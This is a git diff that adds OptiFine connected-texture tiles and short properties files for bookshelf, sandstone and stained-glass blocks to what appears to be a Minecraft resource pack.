b/src/assets/minecraft/optifine/ctm/default/30_bookshelf/1.png new file mode 100644 index 00000000..9a972771 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/30_bookshelf/1.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/30_bookshelf/2.png b/src/assets/minecraft/optifine/ctm/default/30_bookshelf/2.png new file mode 100644 index 00000000..e957f76d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/30_bookshelf/2.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/30_bookshelf/3.png b/src/assets/minecraft/optifine/ctm/default/30_bookshelf/3.png new file mode 100644 index 00000000..4a2c24d4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/30_bookshelf/3.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/30_bookshelf/bookshelf.properties b/src/assets/minecraft/optifine/ctm/default/30_bookshelf/bookshelf.properties new file mode 100644 index 00000000..afbabc37 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/30_bookshelf/bookshelf.properties @@ -0,0 +1,4 @@ +matchBlocks=minecraft:bookshelf +faces=sides +method=horizontal +tiles=0-3 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/40_sandstone/0.png b/src/assets/minecraft/optifine/ctm/default/40_sandstone/0.png new file mode 100644 index 00000000..5d404a7d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/40_sandstone/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/40_sandstone/sandstone.properties b/src/assets/minecraft/optifine/ctm/default/40_sandstone/sandstone.properties new file mode 100644 index 00000000..7514cf91 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/40_sandstone/sandstone.properties @@ -0,0 +1,4 @@ +matchTiles=sandstone +connect=tile +method=top +tiles=0 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/41_red_sandstone/0.png b/src/assets/minecraft/optifine/ctm/default/41_red_sandstone/0.png new file mode 100644 index 00000000..a48ba6fc Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/41_red_sandstone/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/41_red_sandstone/red_sandstone.properties b/src/assets/minecraft/optifine/ctm/default/41_red_sandstone/red_sandstone.properties new file mode 100644 index 00000000..b69e9001 --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/41_red_sandstone/red_sandstone.properties @@ -0,0 +1,4 @@ +matchTiles=red_sandstone +connect=tile +method=top +tiles=0 diff --git a/src/assets/minecraft/optifine/ctm/default/empty.png b/src/assets/minecraft/optifine/ctm/default/empty.png new file mode 100644 index 00000000..dbaa21ce Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/empty.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/0.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/0.png new file mode 100644 index 00000000..482314ca Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/1.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/1.png new file mode 100644 index 00000000..e2a575c3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/1.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/10.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/10.png new file mode 100644 index 00000000..aa7bea62 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/10.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/11.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/11.png new file mode 100644 index 00000000..74f57a33 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/11.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/12.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/12.png new file mode 100644 index 00000000..d8bf7d14 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/12.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/13.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/13.png new file mode 100644 index 00000000..0f82cfcb Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/13.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/14.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/14.png new file mode 100644 index 00000000..19290f49 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/14.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/15.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/15.png new file mode 100644 index 00000000..ed7f6239 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/15.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/16.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/16.png new file mode 100644 index 00000000..4ddd1849 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/16.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/17.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/17.png new file mode 100644 index 00000000..c0333211 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/17.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/18.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/18.png new file mode 100644 index 00000000..551d8634 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/18.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/19.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/19.png new file mode 100644 index 00000000..b51bed47 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/19.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/2.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/2.png new file mode 100644 index 00000000..fb205fed Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/2.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/20.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/20.png new file mode 100644 index 00000000..52ee2065 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/20.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/21.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/21.png new file mode 100644 index 00000000..cc5fd49c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/21.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/22.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/22.png new file mode 100644 index 00000000..443b5b9f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/22.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/23.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/23.png new file mode 100644 index 00000000..b7e1e8b7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/23.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/24.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/24.png new file mode 100644 index 00000000..8a89dbb9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/24.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/25.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/25.png new file mode 100644 index 00000000..f426e722 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/25.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/26.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/26.png new file mode 100644 index 00000000..8d51784a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/26.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/27.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/27.png new file mode 100644 index 00000000..201decc9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/27.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/28.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/28.png new file mode 100644 index 00000000..97341db4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/28.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/29.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/29.png new file mode 100644 index 00000000..0c091e3f Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/29.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/3.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/3.png new file mode 100644 index 00000000..ab110247 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/3.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/30.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/30.png new file mode 100644 index 00000000..19589ae1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/30.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/31.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/31.png new file mode 100644 index 00000000..3f24f73b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/31.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/32.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/32.png new file mode 100644 index 00000000..684b05b3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/32.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/33.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/33.png new file mode 100644 index 00000000..68935ecf Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/33.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/34.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/34.png new file mode 100644 index 00000000..02146e6b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/34.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/35.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/35.png new file mode 100644 index 00000000..eb033a09 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/35.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/36.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/36.png new file mode 100644 index 00000000..b9f9e150 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/36.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/37.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/37.png new file mode 100644 index 00000000..d8d43f32 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/37.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/38.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/38.png new file mode 100644 index 00000000..34dfd51c Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/38.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/39.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/39.png new file mode 100644 index 00000000..adce7309 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/39.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/4.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/4.png new file mode 100644 index 00000000..89313f30 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/4.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/40.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/40.png new file mode 100644 index 00000000..b2642eeb Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/40.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/41.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/41.png new file mode 100644 index 00000000..b986b359 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/41.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/42.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/42.png new file mode 100644 index 00000000..51d3ace5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/42.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/43.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/43.png new file mode 100644 index 00000000..44c38f8b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/43.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/44.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/44.png new file mode 100644 index 00000000..8323d936 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/44.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/45.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/45.png new file mode 100644 index 00000000..5a8a1050 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/45.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/46.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/46.png new file mode 100644 index 00000000..8581ae84 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/46.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/5.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/5.png new file mode 100644 index 00000000..dc8a5a23 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/5.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/6.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/6.png new file mode 100644 index 00000000..80d0dbaa Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/6.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/7.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/7.png new file mode 100644 index 00000000..128f2ce0 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/7.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/8.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/8.png new file mode 100644 index 00000000..05db2b11 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/8.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/9.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/9.png new file mode 100644 index 00000000..9f12d4f9 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/9.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/glass_pane_white.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/glass_pane_white.properties new file mode 100644 index 00000000..ca705f6a --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/glass_pane_white.properties @@ -0,0 +1,6 @@ +# Stained glass pane white +matchBlocks=white_stained_glass_pane +connect=block +method=ctm +faces=sides +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/glass_white.properties b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/glass_white.properties new file mode 100644 index 00000000..bfa7e1fb --- /dev/null +++ b/src/assets/minecraft/optifine/ctm/default/programmer_art/00_glass_white/glass_white.properties @@ -0,0 +1,5 @@ +# Stained glass white +matchBlocks=white_stained_glass +connect=block +method=ctm +tiles=0-46 \ No newline at end of file diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/0.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/0.png new file mode 100644 index 00000000..3a29e31b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/0.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/1.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/1.png new file mode 100644 index 00000000..ac20892d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/1.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/10.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/10.png new file mode 100644 index 00000000..51079039 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/10.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/11.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/11.png new file mode 100644 index 00000000..76a4ecb1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/11.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/12.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/12.png new file mode 100644 index 00000000..34b4e01d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/12.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/13.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/13.png new file mode 100644 index 00000000..d5ba7a0e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/13.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/14.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/14.png new file mode 100644 index 00000000..31ea8b59 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/14.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/15.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/15.png new file mode 100644 index 00000000..3fa6a203 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/15.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/16.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/16.png new file mode 100644 index 00000000..2eb2915b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/16.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/17.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/17.png new file mode 100644 index 00000000..09652b32 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/17.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/18.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/18.png new file mode 100644 index 00000000..92e199c1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/18.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/19.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/19.png new file mode 100644 index 00000000..9068d194 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/19.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/2.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/2.png new file mode 100644 index 00000000..da2c361a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/2.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/20.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/20.png new file mode 100644 index 00000000..f07d9790 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/20.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/21.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/21.png new file mode 100644 index 00000000..520102cf Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/21.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/22.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/22.png new file mode 100644 index 00000000..be490ad2 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/22.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/23.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/23.png new file mode 100644 index 00000000..3eac57fc Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/23.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/24.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/24.png new file mode 100644 index 00000000..38fe9f48 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/24.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/25.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/25.png new file mode 100644 index 00000000..ad6398d5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/25.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/26.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/26.png new file mode 100644 index 00000000..53d76db3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/26.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/27.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/27.png new file mode 100644 index 00000000..c7adaab1 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/27.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/28.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/28.png new file mode 100644 index 00000000..de55e7ba Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/28.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/29.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/29.png new file mode 100644 index 00000000..1202c0d5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/29.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/3.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/3.png new file mode 100644 index 00000000..0cb6300b Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/3.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/30.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/30.png new file mode 100644 index 00000000..8977b0fc Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/30.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/31.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/31.png new file mode 100644 index 00000000..c091f83a Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/31.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/32.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/32.png new file mode 100644 index 00000000..f51e5894 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/32.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/33.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/33.png new file mode 100644 index 00000000..663b197d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/33.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/34.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/34.png new file mode 100644 index 00000000..f6a65d12 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/34.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/35.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/35.png new file mode 100644 index 00000000..4b6a0d5d Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/35.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/36.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/36.png new file mode 100644 index 00000000..4e6c92a4 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/36.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/37.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/37.png new file mode 100644 index 00000000..1a5751d5 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/37.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/38.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/38.png new file mode 100644 index 00000000..b73c34f3 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/38.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/39.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/39.png new file mode 100644 index 00000000..ab60c8ea Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/39.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/4.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/4.png new file mode 100644 index 00000000..595ce651 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/4.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/40.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/40.png new file mode 100644 index 00000000..282c59d7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/40.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/41.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/41.png new file mode 100644 index 00000000..3df68a28 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/41.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/42.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/42.png new file mode 100644 index 00000000..36a6ae1e Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/42.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/43.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/43.png new file mode 100644 index 00000000..73ff42d7 Binary files /dev/null and b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/43.png differ diff --git a/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/44.png b/src/assets/minecraft/optifine/ctm/default/programmer_art/01_glass_orange/44.png new file mode 100644 index 00000000..4bc7b529 Binary files /dev/null and 